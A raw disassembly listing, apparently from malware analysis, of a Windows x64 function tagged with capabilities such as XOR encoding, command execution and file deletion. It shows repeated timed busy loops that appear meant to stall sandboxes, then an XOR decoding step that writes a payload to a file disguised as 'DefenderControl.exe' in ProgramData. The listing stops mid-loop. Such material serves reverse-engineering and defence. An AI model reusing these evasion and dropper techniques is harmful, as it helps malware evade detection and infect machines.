Function at 0x1400607f0
Capabilities:
Delete file
Encode data using xor
Execute command
Generate random numbers using a mersenne twister
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1c5c8]
mov eax, 0x1c6c8
call fcn.1400d4a90
sub rsp, rax
movaps xmmword [rsp + 0x1c6b0], xmm6
movaps xmmword [rsp + 0x1c6a0], xmm7
movaps xmmword [rsp + 0x1c690], xmm8
lea rdx, [rbp + 0x1c608]
lea rcx, [rbp + 0x60]
call fcn.14005bc90
nop
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x2ab4], 0xffffffff
mov dword [rbp + 0x1734], eax
mov r13d, 1
mov edx, r13d
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x1734], eax
inc rdx
cmp rdx, 0x270
jb 0x140060860
mov dword [rbp + 0x1730], 0x270
xor esi, esi
mov dword [rbp + 0x1c610], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1400608b2
imul rax, rax, 0x64
jmp 0x1400608cd
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r14, [rax + 0x5f5e100]
mov r12d, 0x80000000
nop word [rax + rax]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1400608fe
imul rax, rax, 0x64
jmp 0x140060919
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x140060ac5
mov edi, 0x186a0
nop word [rax + rax]
lea rcx, [rbp + 0x1730]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140060930
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea ebx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r13d
lea rcx, [rbp + 0x1730]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140060981
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 0x1c610]
add edx, eax
mov dword [rbp + 0x1c610], edx
nop word [rax + rax]
lea rcx, [rbp + 0x1730]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x1400609e0
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 0x1c610]
imul edx, eax
mov dword [rbp + 0x1c610], edx
nop word [rax + rax]
lea rcx, [rbp + 0x1730]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140060a40
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea edx, [r8 + 0x7fffff9c]
lea eax, [rdx + r12]
lea ecx, [rdx - 0x80000000]
cmp edx, r12d
cmovae ecx, eax
mov eax, dword [rbp + 0x1c610]
sub eax, ecx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], edx
sub rdi, r13
jne 0x140060930
jmp 0x1400608e0
mov eax, dword [rbp + 0x1c610]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x3e44], 0xffffffff
mov dword [rbp + 0x2ac4], eax
mov rdx, r13
nop dword [rax]
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x2ac4], eax
inc rdx
cmp rdx, 0x270
jb 0x140060af0
mov dword [rbp + 0x2ac0], 0x270
mov dword [rbp + 0x1c610], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140060b40
imul rax, rax, 0x64
jmp 0x140060b5b
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r14, [rax + 0x5f5e100]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140060b80
imul rax, rax, 0x64
jmp 0x140060b9b
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x140060d45
mov edi, 0x186a0
nop dword [rax]
lea rcx, [rbp + 0x2ac0]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140060bb0
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea ebx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r13d
lea rcx, [rbp + 0x2ac0]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140060c01
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 0x1c610]
add edx, eax
mov dword [rbp + 0x1c610], edx
nop word [rax + rax]
lea rcx, [rbp + 0x2ac0]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140060c60
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 0x1c610]
imul edx, eax
mov dword [rbp + 0x1c610], edx
nop word [rax + rax]
lea rcx, [rbp + 0x2ac0]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140060cc0
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea edx, [r8 + 0x7fffff9c]
lea eax, [rdx + r12]
lea ecx, [rdx - 0x80000000]
cmp edx, r12d
cmovae ecx, eax
mov eax, dword [rbp + 0x1c610]
sub eax, ecx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], edx
sub rdi, r13
jne 0x140060bb0
jmp 0x140060b62
mov eax, dword [rbp + 0x1c610]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x51d4], 0xffffffff
mov dword [rbp + 0x3e54], eax
mov rdx, r13
nop dword [rax]
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x3e54], eax
inc rdx
cmp rdx, 0x270
jb 0x140060d70
mov dword [rbp + 0x3e50], 0x270
mov dword [rbp + 0x1c610], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140060dc0
imul rax, rax, 0x64
jmp 0x140060ddb
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r14, [rax + 0x5f5e100]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140060e00
imul rax, rax, 0x64
jmp 0x140060e1b
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x140060fc5
mov edi, 0x186a0
nop dword [rax]
lea rcx, [rbp + 0x3e50]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140060e30
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea ebx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r13d
lea rcx, [rbp + 0x3e50]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140060e81
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 0x1c610]
add edx, eax
mov dword [rbp + 0x1c610], edx
nop word [rax + rax]
lea rcx, [rbp + 0x3e50]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140060ee0
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 0x1c610]
imul edx, eax
mov dword [rbp + 0x1c610], edx
nop word [rax + rax]
lea rcx, [rbp + 0x3e50]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140060f40
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea edx, [r8 + 0x7fffff9c]
lea eax, [rdx + r12]
lea ecx, [rdx - 0x80000000]
cmp edx, r12d
cmovae ecx, eax
mov eax, dword [rbp + 0x1c610]
sub eax, ecx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], edx
sub rdi, r13
jne 0x140060e30
jmp 0x140060de2
mov eax, dword [rbp + 0x1c610]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x6564], 0xffffffff
mov dword [rbp + 0x51e4], eax
mov rdx, r13
nop dword [rax]
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x51e4], eax
inc rdx
cmp rdx, 0x270
jb 0x140060ff0
mov dword [rbp + 0x51e0], 0x270
mov dword [rbp + 0x1c610], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140061040
imul rax, rax, 0x64
jmp 0x14006105b
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r14, [rax + 0x5f5e100]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140061080
imul rax, rax, 0x64
jmp 0x14006109b
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x140061245
mov edi, 0x186a0
nop dword [rax]
lea rcx, [rbp + 0x51e0]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x1400610b0
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea ebx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r13d
lea rcx, [rbp + 0x51e0]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140061101
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 0x1c610]
add edx, eax
mov dword [rbp + 0x1c610], edx
nop word [rax + rax]
lea rcx, [rbp + 0x51e0]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140061160
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 0x1c610]
imul edx, eax
mov dword [rbp + 0x1c610], edx
nop word [rax + rax]
lea rcx, [rbp + 0x51e0]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x1400611c0
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea edx, [r8 + 0x7fffff9c]
lea eax, [rdx + r12]
lea ecx, [rdx - 0x80000000]
cmp edx, r12d
cmovae ecx, eax
mov eax, dword [rbp + 0x1c610]
sub eax, ecx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], edx
sub rdi, r13
jne 0x1400610b0
jmp 0x140061062
mov eax, dword [rbp + 0x1c610]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x78f4], 0xffffffff
mov dword [rbp + 0x6574], eax
mov rdx, r13
nop dword [rax]
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x6574], eax
inc rdx
cmp rdx, 0x270
jb 0x140061270
mov dword [rbp + 0x6570], 0x270
mov dword [rbp + 0x1c610], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1400612c0
imul rax, rax, 0x64
jmp 0x1400612db
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r14, [rax + 0x5f5e100]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140061300
imul rax, rax, 0x64
jmp 0x14006131b
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x1400614c5
mov edi, 0x186a0
nop dword [rax]
lea rcx, [rbp + 0x6570]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140061330
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea ebx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r13d
lea rcx, [rbp + 0x6570]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140061381
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 0x1c610]
add edx, eax
mov dword [rbp + 0x1c610], edx
nop word [rax + rax]
lea rcx, [rbp + 0x6570]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x1400613e0
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 0x1c610]
imul edx, eax
mov dword [rbp + 0x1c610], edx
nop word [rax + rax]
lea rcx, [rbp + 0x6570]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140061440
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea edx, [r8 + 0x7fffff9c]
lea eax, [rdx + r12]
lea ecx, [rdx - 0x80000000]
cmp edx, r12d
cmovae ecx, eax
mov eax, dword [rbp + 0x1c610]
sub eax, ecx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], edx
sub rdi, r13
jne 0x140061330
jmp 0x1400612e2
mov eax, dword [rbp + 0x1c610]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x8c84], 0xffffffff
mov dword [rbp + 0x7904], eax
mov rdx, r13
nop dword [rax]
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x7904], eax
inc rdx
cmp rdx, 0x270
jb 0x1400614f0
mov dword [rbp + 0x7900], 0x270
mov dword [rbp + 0x1c610], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140061540
imul rax, rax, 0x64
jmp 0x14006155b
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r14, [rax + 0x5f5e100]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140061580
imul rax, rax, 0x64
jmp 0x14006159b
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x140061745
mov edi, 0x186a0
nop dword [rax]
lea rcx, [rbp + 0x7900]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x1400615b0
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea ebx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r13d
lea rcx, [rbp + 0x7900]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140061601
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 0x1c610]
add edx, eax
mov dword [rbp + 0x1c610], edx
nop word [rax + rax]
lea rcx, [rbp + 0x7900]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140061660
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 0x1c610]
imul edx, eax
mov dword [rbp + 0x1c610], edx
nop word [rax + rax]
lea rcx, [rbp + 0x7900]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x1400616c0
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea edx, [r8 + 0x7fffff9c]
lea eax, [rdx + r12]
lea ecx, [rdx - 0x80000000]
cmp edx, r12d
cmovae ecx, eax
mov eax, dword [rbp + 0x1c610]
sub eax, ecx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], edx
sub rdi, r13
jne 0x1400615b0
jmp 0x140061562
mov eax, dword [rbp + 0x1c610]
lea rcx, [rbp + 0x180]
call fcn.140069160
nop
lea rdx, [rbp + 0xb1]
call fcn.1400642d0
mov r10, rax
mov eax, 4
lea ecx, [rax + 0x1b]
mov r15d, dword [reloc.WS2_32.dll_accept]
cmp byte [r10 + 0x22], 0
je 0x140061910
mov r8d, esi
cmp r15d, 2
jl 0x1400618d7
movdqa xmm5, xmmword [0x140161fc0]
movdqa xmm4, xmmword [0x1401621b0]
movd xmm6, eax
movdqa xmm7, xmmword [0x140162000]
movd xmm8, ecx
movdqa xmm0, xmmword [str.00000000000000006666666666666666]
movdqa xmmword [rsp + 0x20], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x20]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401620b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401620b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400617d0
cmp r8d, 0x23
jge 0x140061910
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x1400618e0
mov rdx, r10
lea rcx, [rbp + 0x180]
call fcn.140069110
mov r8d, 0x5d000
lea rdx, [0x14017b0c0]
lea rcx, [rbp + 0x180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x180]
call fcn.140046470
lea rdx, str.C:ProgramDataDefenderControl.exe
lea rcx, [rbp + 0x20]
call fcn.1400487e0
xor edx, edx
mov rcx, rax
call fcn.14005dc40
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0xa014], 0xffffffff
mov dword [rbp + 0x8c94], eax
mov rdx, r13
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x8c94], eax
inc rdx
cmp rdx, 0x270
jb 0x140061980
mov dword [rbp + 0x8c90], 0x270
mov dword [rbp + 0x1c610], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1400619d0
imul rax, rax, 0x64
jmp 0x1400619eb
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r14, [rax + 0x5f5e100]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140061a10
imul rax, rax, 0x64
jmp 0x140061a2b
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x140061bd6
mov edi, 0x186a0
nop dword [rax]
lea rcx, [rbp + 0x8c90]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140061a40
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea ebx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r13d
lea rcx, [rbp + 0x8c90]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140061a91
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 0x1c610]
add edx, eax
mov dword [rbp + 0x1c610], edx
nop word [rax + rax]
lea rcx, [rbp + 0x8c90]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140061af0
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 0x1c610]
imul edx, eax
mov dword [rbp + 0x1c610], edx
nop word [rax + rax]
lea rcx, [rbp + 0x8c90]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140061b50
